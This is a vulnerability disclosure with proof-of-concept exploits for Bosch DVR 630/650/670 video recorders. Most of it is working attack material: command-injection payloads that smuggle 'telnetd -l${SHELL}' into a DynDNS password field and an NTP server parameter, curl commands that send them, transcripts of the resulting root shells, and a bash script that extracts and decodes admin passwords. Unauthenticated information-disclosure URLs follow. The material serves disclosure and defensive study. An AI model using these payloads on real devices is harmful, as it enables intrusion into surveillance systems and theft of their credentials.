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253 lines
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:::::::-. ... ::::::. :::.
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;;, `';, ;; ;;;`;;;;, `;;;
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`[[ [[[[' [[[ [[[[[. '[[
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$$, $$$$ $$$ $$$ "Y$c$$
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888_,o8P'88 .d888 888 Y88
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MMMMP"` "YmmMMMM"" MMM YM
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[ Discovered by dun \ posdub[at]gmail.com ]
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[ 2014-10-01 ]
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###############################################################################
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# [ Bosch Security Systems DVR 630/650/670 Series ] Multiple Vulnerabilities #
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###############################################################################
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#
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# Device: "The Bosch Video Recorder 630/650 Series is an 8/16
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# channel digital recorder that uses the latest H.264
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# compression technology. With the supplied PC
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# software and built-in web server, the 630/650 Series is
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# a fully integrated, stand-alone video management
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# solution that's ready to go, straight out of the box.
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# Available with a variety of storage capacities, the
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# 630/650 Series features a highly reliable embedded
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# design that minimizes maintenance and reduces
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# operational costs. The recorder is also available with a
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# built-in DVD writer."
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#
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# Vendor: http://www.boschsecurity.com/
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# Product: DVR 630/650 http://resource.boschsecurity.us/documents/Data_sheet_enUS_1977239307.pdf
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# DVR 670 http://resource.boschsecurity.us/documents/DVR_670_Series_Data_sheet_enUS_7654294923.pdf
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#
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# Software Download:
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# http://resource.boschsecurity.us/software/Software_DVR630_650_firmware_v212_all_1980902667.zip
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# http://resource.boschsecurity.us/software/Software_DVR670_firmware_v212_enUS_8599929867.zip
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#
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# Timeline: 2014-10-01 Vulnerability discovered
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# 2014-10-03 1 Contact with vendor - No response
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# 2014-10-14 Published
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#
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#
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###################################################################
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# Gaining Root Shell Access [1]:
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POST /Net_work.xml HTTP/1.1
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Accept: */*
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Accept-Language: pl
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Referer: http://10.11.219.2/network.html
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Content-Type: text/xml; charset=UTF-8
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Accept-Encoding: gzip, deflate
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User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
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Host: 10.11.219.2
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Content-Length: 1274
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DNT: 1
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Proxy-Connection: Keep-Alive
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Pragma: no-cache
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Cookie: MosaLanguage=0; session=
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<NETWORK_SETTING>
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<DHCP>0</DHCP>
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<DHCPIP>10.11.219.2</DHCPIP>
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<DHCPMASK>255.255.255.0</DHCPMASK>
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<DHCPGW>10.11.219.1</DHCPGW>
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<DHCPDNS1>0.0.0.0</DHCPDNS1>
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<DHCPDNS2>0.0.0.0</DHCPDNS2>
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<IP>10.11.219.2</IP>
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<MASK>255.255.255.0</MASK>
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<GW>10.11.219.1</GW>
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<DNS1>0.0.0.0</DNS1>
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<DNS2>0.0.0.0</DNS2>
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<HTTP_PORT>80</HTTP_PORT>
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<BANDWIDTH>0</BANDWIDTH>
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<DDNS_SERVER>1</DDNS_SERVER>
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<DYNDNS_HOST>wxss</DYNDNS_HOST>
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<DYNDNS_USER>ffl</DYNDNS_USER>
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<DYNDNS_PWD>|telnetd -l${SHELL} -p30 #</DYNDNS_PWD>
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<TZO_HOST></TZO_HOST>
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<TZO_MAIL></TZO_MAIL>
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<TZO_KEY></TZO_KEY>
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<SITE_HOST>sdads</SITE_HOST>
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<SITE_PWD>dsadsd</SITE_PWD>
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<SITE_RECORDID>sdasdas</SITE_RECORDID>
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<SITE_FQDN>dasdas</SITE_FQDN>
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<ALARM_ON>0</ALARM_ON>
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<MOTION>0</MOTION>
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<DISK_FAIL>0</DISK_FAIL>
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<DISK_FULL>0</DISK_FULL>
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<FAN_FAIL>0</FAN_FAIL>
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<DISK_TEMP>0</DISK_TEMP>
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<ADMIN_PW>0</ADMIN_PW>
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<VIDEO_LOSS>0</VIDEO_LOSS>
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<POWER>0</POWER>
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<SENDER>0</SENDER>
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<SMTP></SMTP>
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<SMTP_PORT>25</SMTP_PORT>
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<SSL>0</SSL>
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<USERNAME></USERNAME>
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<PWD></PWD>
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<SENDER_MAIL></SENDER_MAIL>
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<SUBJECT></SUBJECT>
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<MAIL_1></MAIL_1>
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<MAIL_2></MAIL_2>
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<MAIL_3></MAIL_3>
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<MAIL_TEST>0</MAIL_TEST>
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</NETWORK_SETTING>
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## PoC:
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root@debian:~# curl -i -s -k -X 'POST' -H 'Referer: http://10.11.219.2/network.html' -H 'Content-Type: text/xml; charset=UTF-8' \
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-H 'User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)' -H 'DNT: 1' \
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-b 'MosaLanguage=0; session=' --data-binary $'<NETWORK_SETTING>\x0d\x0a <DHCP>0</DHCP>\x0d\x0a <DHCPIP>10.11.219.2</DHCPIP>\x0d\x0a \
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<DHCPMASK>255.255.255.0</DHCPMASK>\x0d\x0a <DHCPGW>10.11.219.1</DHCPGW>\x0d\x0a <DHCPDNS1>0.0.0.0</DHCPDNS1>\x0d\x0a \
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<DHCPDNS2>0.0.0.0</DHCPDNS2>\x0d\x0a <IP>10.11.219.2</IP>\x0d\x0a <MASK>255.255.255.0</MASK>\x0d\x0a <GW>10.11.219.1</GW>\x0d\x0a \
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<DNS1>0.0.0.0</DNS1>\x0d\x0a <DNS2>0.0.0.0</DNS2>\x0d\x0a <HTTP_PORT>80</HTTP_PORT>\x0d\x0a <BANDWIDTH>0</BANDWIDTH>\x0d\x0a \
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<DDNS_SERVER>1</DDNS_SERVER>\x0d\x0a <DYNDNS_HOST>wxss</DYNDNS_HOST>\x0d\x0a <DYNDNS_USER>ffl</DYNDNS_USER>\x0d\x0a \
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<DYNDNS_PWD>|telnetd -l${SHELL} -p30 #</DYNDNS_PWD>\x0d\x0a <TZO_HOST></TZO_HOST>\x0d\x0a <TZO_MAIL></TZO_MAIL>\x0d\x0a \
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<TZO_KEY></TZO_KEY>\x0d\x0a <SITE_HOST>sdads</SITE_HOST>\x0d\x0a <SITE_PWD>dsadsd</SITE_PWD>\x0d\x0a \
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<SITE_RECORDID>sdasdas</SITE_RECORDID>\x0d\x0a <SITE_FQDN>dasdas</SITE_FQDN>\x0d\x0a <ALARM_ON>0</ALARM_ON>\x0d\x0a \
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<MOTION>0</MOTION>\x0d\x0a <DISK_FAIL>0</DISK_FAIL>\x0d\x0a <DISK_FULL>0</DISK_FULL>\x0d\x0a <FAN_FAIL>0</FAN_FAIL>\x0d\x0a \
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<DISK_TEMP>0</DISK_TEMP>\x0d\x0a <ADMIN_PW>0</ADMIN_PW>\x0d\x0a <VIDEO_LOSS>0</VIDEO_LOSS>\x0d\x0a <POWER>0</POWER>\x0d\x0a \
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<SENDER>0</SENDER>\x0d\x0a <SMTP></SMTP>\x0d\x0a <SMTP_PORT>25</SMTP_PORT>\x0d\x0a <SSL>0</SSL>\x0d\x0a <USERNAME></USERNAME>\x0d\x0a \
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<PWD></PWD>\x0d\x0a <SENDER_MAIL></SENDER_MAIL>\x0d\x0a <SUBJECT></SUBJECT>\x0d\x0a <MAIL_1></MAIL_1>\x0d\x0a <MAIL_2></MAIL_2>\x0d\x0a \
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<MAIL_3></MAIL_3>\x0d\x0a <MAIL_TEST>0</MAIL_TEST>\x0d\x0a</NETWORK_SETTING>\x0d\x0a' 'http://10.11.219.2/Net_work.xml'
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root@debian:~# telnet 10.11.219.2 30
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Trying 10.11.219.2...
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Connected to 10.11.219.2.
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Escape character is '^]'.
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BusyBox v1.1.2 (2009.12.29-03:59+0000) Built-in shell (ash)
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Enter 'help' for a list of built-in commands.
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/ # id
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uid=0(root) gid=0(root)
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/ # uname -a
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Linux everfocus 2.6.24-rt1-hi3520v100 #9 Thu Sep 2 14:00:47 CST 2010 armv6l unknown
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/ # ps |grep telnet
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2827 root 228 S telnetd -l/bin/sh -p30
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/ # netstat -ltn | grep 30
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tcp 0 0 0.0.0.0:30 0.0.0.0:* LISTEN
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/ # echo pwnd & exit
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pwnd
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Connection closed by foreign host.
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root@debian:~#
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###################################################################
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# Gaining Root Shell Access (authorization is needed) [2]:
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GET /ntp.cgi?cmd=ntp_start&time_server=1&private_server=192.168.0.245|%20telnetd%20-l${SHELL}%20-p40;%20id&rnd=4392 HTTP/1.1
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Accept: */*
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Accept-Language: pl
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Referer: http://10.11.219.2/system.html
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Accept-Encoding: gzip, deflate
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User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
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Host: 10.11.219.2
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DNT: 1
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Proxy-Connection: Keep-Alive
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Cookie: MosaLanguage=0; session=
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## PoC:
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root@debian:~# curl -i -s -k -X 'GET' \
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-H 'Referer: http://10.11.219.2/system.html' \
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-H 'User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)' -H 'DNT: 1' \
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-b 'MosaLanguage=0; session=' 'http://10.11.219.2/ntp.cgi?cmd=ntp_start&time_server=1&private_server=192.168.0.245|%20telnetd%20-l${SHELL}%20-p40;%20id'
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root@debian:~# telnet 10.11.219.2 40
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Trying 10.11.219.2...
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Connected to 10.11.219.2.
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Escape character is '^]'.
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BusyBox v1.1.2 (2009.12.29-03:59+0000) Built-in shell (ash)
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Enter 'help' for a list of built-in commands.
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/ # id
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uid=0(root) gid=0(root)
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/ # uname -a
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Linux everfocus 2.6.24-rt1-hi3520v100 #9 Thu Sep 2 14:00:47 CST 2010 armv6l unknown
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/ # ps |grep telnet
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2827 root 228 S telnetd -l/bin/sh -p40
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/ # netstat -ltn | grep 40
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tcp 0 0 0.0.0.0:40 0.0.0.0:* LISTEN
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/ # echo pwnd & exit
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pwnd
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Connection closed by foreign host.
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root@debian:~#
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###################################################################
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# Admin Password Disclosure: http://10.11.219.2/User.cgi?cmd=get_user
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## PoC Exploit:
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#!/bin/bash
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x=0;
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for i in $(curl --silent http://10.11.219.2/User.cgi?cmd=get_user| sed 's/<[^>]\+>/ /g' | sed -r 's/(\s)+[0-9]//g');
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do base64 -d<<<$i; if [ $(( $x % 2 )) -eq 0 ]; then echo -n ":"; else echo ; fi; ((x++)); done
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###################################################################
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# Sensitive Information Disclosure:
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http://10.11.219.2/Config.cgi?cmd=system_info
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http://10.11.219.2/System.xml
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http://10.11.219.2/Net_work.xml
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http://10.11.219.2/webcmd.html
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/ # cat /4mosa600/data/Webcmd_help.txt
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cmd value (sample)
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====================+==========================
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blockid | 0 ~ block max // show block info and flag and gop status.
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--------------------+-------------------------
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disk | // show disk temp.
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--------------------+-------------------------
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reboot | // restart DVR.
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--------------------+-------------------------
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remote-info | // socket status.
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--------------------+-------------------------
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log | 1: System // show system log.
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| 2: Record
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| 4: Login
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| 8: Configure
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| 16: Operation
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| 31: All
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| 63: Service
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--------------------+-------------------------
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ionly | 1~12 how many frames in a GOP will send to internet
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| 0: all I/P-frame (default)
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| 1: I only
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| 2: IP
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| 3: IPP
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| 4: IPPP
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| ....
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| 12: IPPPPPPPPPPP
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| others: show current value on DVR.
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--------------------+-------------------------
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chlink | 0~MKF_CHANNEL // show channel link.
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--------------------+-------------------------
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bitrate | // show bitrate information.
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--------------------+-------------------------
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dls | // show about time and DLS message.
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--------------------+-------------------------
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bmp | // dump bmp file to http://x.x.x.x/vga0.bmp
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--------------------+-------------------------
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msg | This is bitmap
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| bit 0 show encode FPS and Bitrate.
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| bit 1 show encode resolution.(dependent bit 1)
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| bit 2 show remote client mesage.
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| bit 3 show ptz command.
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| bit 4 cpu and memory usage..
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--------------------+-------------------------
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remote-cgi | 0 disable all cgi command.
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| 1 show all cgi command to console.
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| 2 show cig command if not "login_id"
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--------------------+------------------------- |